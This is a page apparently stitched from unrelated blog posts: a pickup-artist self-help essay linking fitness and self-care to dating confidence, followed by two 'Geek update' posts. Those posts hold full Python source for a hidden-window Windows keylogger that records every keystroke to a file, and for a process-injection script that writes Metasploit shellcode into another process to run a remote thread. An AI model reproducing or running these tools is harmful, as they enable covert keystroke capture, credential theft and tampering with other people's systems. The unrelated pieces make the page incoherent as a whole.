Social Dynamic - Treating Yourself Like You Value Yourself

Hey Fellas,

Today I want to delve into the importance and benefits of a healthy lifestyle. I know, I know… no one likes to be told “go to the gym” but today I actually want to approach it from a psychological angle and explore the immediate psychological benefits and social impact a healthy lifestyle yields.

The relative principal here is Cognitive Dissonance – (thank you to the kind folks at Wikipedia for the following definition)

Cognitive dissonance is an uncomfortable feeling caused by holding two contradictory ideas simultaneously. The "ideas" or "cognitions" in question may include attitudes and beliefs, and also the awareness of one's behavior. The theory of cognitive dissonance proposes that people have a motivational drive to reduce dissonance by changing their attitudes, beliefs, and behaviors, or by justifying or rationalizing their attitudes, beliefs, and behaviors.



Or to put simply: anytime your actions are not in line with your beliefs your brain is not happy.

Well, this simple semi-obvious holds a special relevance us that does not apply to most people. See, essentially when learning this game our challenge is to re-wire our brains as much as possible over as short a time-span as possible so as to align our thought patterns with those that are naturally attractive. In essence, to form new beliefs and identifications that are not necessarily justified by prior teachings, or more importantly, reference experience.

A common trait among those who excel in this game is a high degree of cognitive mastery – an ability to actively shape their thoughts and beliefs based on what will serve them, as opposed to what meshes with their existing understanding and experience. Or essentially an ability to convince themselves of what they believe will be useful.

Now when it comes to success in dating, what are some essential core beliefs? What are the catch phrases people are affirming and reaffirming to themselves?

“I’m the shit!”
“I’m the man”
“I deserve this”
“She’s for me”
“She should be with me?”
“I’m the highest value person in this room”

Ok, most likely you’re not actively repeating these to yourself… but there’s no doubt these beliefs are inherent to a high-value mindset held by a naturally attractive guy and ALL are representative of a single core belief – a level of self-value.

Here’s where cognitive dissonance comes in… I hate to break it to you, but if you’re sitting in your basement from Monday to Thursday playing World of Warcraft and eating Cheetos it’s going to be impossible to step to a hottie on Friday and feel “I deserve this”…

Fact is… it’s impossible to successfully and consistently pick up girls without first feeling good about yourself. And guess what… cognitive dissonance means that it’s impossible to feel good about yourself without behaving like you feel good about yourself… like you like yourself…like you value yourself.

What does it mean to behave in a way that indicates you like yourself… that you value yourself?

Suppose you value your car… You’re probably washing it regularly, putting premium gas in it, taking it for checkups, rotating the tires, etc.



Well, you’re no different. When you value yourself - or at the very lease you don’t hate yourself - you’re going to make an effort to care for yourself… this means being at least minimally conservative with what you put in your body – eating at least decently healthy, taking in fruits and vegetables, cutting down on junk food. Beyond that comes maintaining a minimal level of physical activity. Personal hygiene and present-ability also fall into this category.

Beyond that, what you do for YOU is determined by just how much you value YOU. Here we move beyond simply caring for and maintaining yourself and into the realm of actively improving oneself. Things like adhering to a schedule, going to the gym, eating healthy breakfasts, pursuing activities that develop you physically, mentally, or spiritually. Taking classes, travelling, enriching your life.

I’ll tell you, I honestly do not know a single person who holds themselves in high regard who does not engage in the above activities.

Now, as you read this, sit up straight, roll your shoulders back, and SMILE. How do you feel… a little happier?? The effect here is ‘psychosomatic’ – or a backwards rationalization from the mind based on the body. The mind says “Hey look at that, I’m sitting up and smiling…. Usually I do this when I’m happy, well I’m doing it now so I must be happy”.

Well, in this case, you spend your day productively – you eat a healthy breakfast, hit the gym, learn something, accomplish something, and all the sudden you’re brain is bombarded with evidence that you’re WORTH something. Then you go out, start that interaction and suddenly you feel a new strength in your own identity… you carry yourself with a sense of value, with a sense of self-worth.

On a personal level, if I roll out of bed at 2pm, throw on some dirty sweats (possibly stained from the meatball sub I ate 3 nights before), and head out to get some grease breakfast from the 24hour diner… there is absolutely no way I can “turn on the game” and socialize effectively. It’s got nothing to do with the way I look… it’s got everything to do with the way I feel.



And on the flipside, when I’m living in alignment – with the way I treat myself reaffirming the way I feel about myself, the world can tell and responds accordingly.

Ultimately, the way I feel is derived from that over-arching sense of self-worth that’s either their or not there depending on the physical evidence I spend all day every day acquiring.

Are you worth it? Are you behaving like it?

If you think you’re brain is going to let these two exist in misalignment, you’re in for a rude awakening. So choose your answer and solidify it… both internally and externally.

Cheers

Geek update - Python keylogger

My simple keylogger example written in python.
Use this to log keystrokes.

#----------------------------------------

# Simple Keylogger 1.0 Wrote by nighter

# Purpose: I needed a simple and easy 

# Keylogger this was the solution.

# Revision: 1.0 

#----------------------------------------

# load all modules

import pythoncom,pyHook,datetime,win32api,win32console,win32gui,os,sys 

win = win32console.GetConsoleWindow()

# Make window invicible

win32gui.ShowWindow(win,0)

#--------------------------------------------

# Config Section

#-------------------------------------------

LOGGFILE="c:\\keylogg.txt"

#-------------------------------------------

# Function: OnKeyboardEvent

# Arguments: event

# Purpose: catch keyboardevents

#------------------------------------------

def OnKeyboardEvent(event):

	mylog_file = open(LOGGFILE,"a")



	# Problem with return and space so i handle 

	# Them seperatly.

        if event.Key == "Return":

                mylog_file.write(chr(10))

	elif event.Key == "Space":

		mylog_file.write(chr(32))

	else:

		# Convert and write all other chars.

		mylog_file.write(chr(event.Ascii))

	mylog_file.close()

	return True

#------------------------------------------

# Check that only one instance is running 

#------------------------------------------

needle=0

f = os.popen("tasklist","r")

for l in f.xreadlines():

	if "python.exe" in l: needle=needle+1



# Quit if another instance is running

if needle > 1:

	win32api.PostQuitMessage() 



# Write timestamp

mylog_file = open(LOGGFILE,"a")

n = datetime.datetime.now()

mylog_file.write(str(n))

mylog_file.write(chr(10))

mylog_file.write("--------------------------")

mylog_file.write(chr(10))

mylog_file.close()



# create a hook manager

hm = pyHook.HookManager()

# watch for all key events

hm.KeyDown = OnKeyboardEvent

# set the hook

hm.HookKeyboard()

# wait forever

pythoncom.PumpMessages()

Geek update - Python code injector

Here is sourcecode to my code injector written in python.
It's an example how you can execute code in an already running process.

import sys

from ctypes import *



PAGE_EXECUTE_READWRITE         = 0x00000040

PROCESS_ALL_ACCESS =     ( 0x000F0000  0x00100000  0xFFF )

VIRTUAL_MEM        =     ( 0x1000  0x2000 )



kernel32      = windll.kernel32

pid           = int(sys.argv[1])

pid_to_kill   = sys.argv[2]



if not sys.argv[1] or not sys.argv[2]:

    print "Code Injector: ./code_injector.py  "

    sys.exit(0)



#/* win32_exec -  EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA

#Size=159 Encoder=None http://metasploit.com */

shellcode = \

"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \

"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \

"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \

"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \

"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \

"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \

"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \

"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \

"\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \

"\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00"



padding       = 4 - (len( pid_to_kill ))

replace_value = pid_to_kill + ( "\x00" * padding )

replace_string= "\x41" * 4



shellcode     = shellcode.replace( replace_string, replace_value )

code_size     = len(shellcode)



# Get a handle to the process we are injecting into.

h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) )



if not h_process:



    print "[*] Couldn't acquire a handle to PID: %s" % pid

    sys.exit(0)



# Allocate some space for the shellcode

arg_address = kernel32.VirtualAllocEx( h_process, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)



# Write out the shellcode

written = c_int(0)

kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, byref(written))



# Now we create the remote thread and point it's entry routine

# to be head of our shellcode

thread_id = c_ulong(0)

if not kernel32.CreateRemoteThread(h_process,None,0,arg_address,None,0,byref(thread_id)):



    print "[*] Failed to inject process-killing shellcode. Exiting."

    sys.exit(0)



print "[*] Remote thread successfully created with a thread ID of: 0x%08x" % thread_id.value

print "[*] Process %s should not be running anymore!" % pid_to_kill